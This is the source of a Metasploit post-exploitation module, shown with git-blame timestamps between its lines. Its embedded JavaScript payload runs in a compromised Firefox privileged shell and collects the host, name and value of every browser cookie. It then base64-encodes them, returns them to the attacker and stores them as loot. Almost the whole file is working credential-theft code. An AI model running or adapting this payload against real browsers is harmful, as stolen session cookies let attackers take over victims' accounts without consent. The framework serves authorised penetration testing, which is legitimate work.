2014-03-26 18:49:53 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-03-26 18:49:53 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'json'
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Post
|
2014-03-26 18:49:53 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Firefox Gather Cookies from Privileged Javascript Shell',
|
|
|
|
'Description' => %q{
|
|
|
|
This module allows collection of cookies from a Firefox Privileged Javascript Shell.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'joev' ],
|
2014-03-26 18:55:02 +00:00
|
|
|
'DisclosureDate' => 'Mar 26 2014'
|
2014-03-26 18:49:53 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2014-03-26 18:51:05 +00:00
|
|
|
def run
|
2014-04-24 20:07:48 +00:00
|
|
|
results = js_exec(js_payload)
|
2014-03-26 18:49:53 +00:00
|
|
|
if results.present?
|
|
|
|
begin
|
|
|
|
cookies = JSON.parse(results)
|
2014-04-24 20:07:48 +00:00
|
|
|
cookies.each do |entry|
|
|
|
|
entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
|
|
|
|
end
|
|
|
|
|
2014-03-26 18:49:53 +00:00
|
|
|
file = store_loot("firefox.cookies.json", "text/json", rhost, results)
|
|
|
|
print_good("Saved #{cookies.length} cookies to #{file}")
|
|
|
|
rescue JSON::ParserError => e
|
|
|
|
print_warning(results)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def js_payload
|
|
|
|
%Q|
|
|
|
|
(function(send){
|
|
|
|
try {
|
2014-04-24 20:07:48 +00:00
|
|
|
var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;
|
2014-03-26 18:49:53 +00:00
|
|
|
var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]
|
|
|
|
.getService(Components.interfaces.nsICookieManager);
|
|
|
|
var cookies = [];
|
|
|
|
var iter = cookieManager.enumerator;
|
|
|
|
while (iter.hasMoreElements()){
|
|
|
|
var cookie = iter.getNext();
|
|
|
|
if (cookie instanceof Components.interfaces.nsICookie){
|
2014-04-24 20:07:48 +00:00
|
|
|
cookies.push({host:b64(cookie.host), name:b64(cookie.name), value:b64(cookie.value)})
|
2014-03-26 18:49:53 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
send(JSON.stringify(cookies));
|
|
|
|
} catch (e) {
|
|
|
|
send(e);
|
|
|
|
}
|
2014-09-24 20:07:14 +00:00
|
|
|
})(this.send);
|
2014-03-26 18:49:53 +00:00
|
|
|
|.strip
|
|
|
|
end
|
|
|
|
end
|